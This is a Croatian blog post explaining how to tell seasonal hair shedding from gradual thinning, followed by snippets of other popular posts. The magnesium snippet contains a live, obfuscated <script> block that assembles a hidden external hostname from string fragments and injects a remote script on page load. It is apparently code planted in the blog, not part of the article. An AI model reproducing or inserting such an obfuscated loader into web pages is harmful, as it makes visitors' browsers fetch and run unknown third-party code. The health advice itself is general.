KAKO RAZLIKOVATI SEZONSKI GUBITAK KOSE OD PRORJEĐIVANJA?





Kako razlikovati sezonski gubitak kose od prorjeđivanja?




Sezonsko opadanje najčešće se javlja u prijelaznim razdobljima, osobito u proljeće i jesen, kad organizam reagira na promjene svjetlosti, temperature i dnevnog ritma. U tom razdoblju veći broj vlasi istovremeno ulazi u fazu mirovanja, nakon čega dolazi do pojačanog opadanja. Iako količina otpale kose može djelovati zabrinjavajuće, važno je naglasiti da se radi o ravnomjernom procesu, kosa ne nestaje s određenih područja, niti dolazi do vidljivoga gubitka gustoće.





Kako reagirati

Ako opadanje traje dulje od dva do tri mjeseca i pritom primjećujete promjene u gustoći ili strukturi kose, važno je razmotriti moguće uzroke. Oni mogu uključivati stres, hormonalne disbalanse, nedostatak željeza, vitamina D ili B-kompleksa, ali i genetsku predispoziciju. U takvim slučajevima rješenje rijetko leži u promjeni šampona ili uvođenju još jednog proizvoda, nego je u ciljanoj liječničkoj procjeni i pristupu koji uključuje njegu vlasišta, suplemente i slično.

U praksi, najjednostavnije pravilo jest promatrati dinamiku. Sezonsko opadanje ima svoj početak, pojačanje i smirivanje. Prorjeđivanje je tiše, dugotrajnije i postupno mijenja izgled kose. Razumijevanje te razlike prvi je korak prema tome da reagirate na vrijeme, ali i da izbjegnete nepotrebnu paniku kad je riječ samo o još jednom prirodnom ciklusu.

S druge strane, stvarno prorjeđivanje kose razvija se postupnije i često prolazi ispod radara dok promjene ne postanu vidljive. Naime, umjesto naglog opadanja, dolazi do suptilnog, ali kontinuiranog smanjenja volumena. Kosa može djelovati spljoštenije u korijenu, razdjeljak šire, a rep tanje nego prije. Jedan od važnijih znakova je i promjena u kvaliteti nove kose: vlasi postaju tanje, slabije i sporije rastu, što dodatno utječe na ukupni izgled frizure. Za razliku od sezonskog opadanja, ovdje nema jasnog vrhunca i smirivanja, već proces traje i postaje sve izraženiji.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više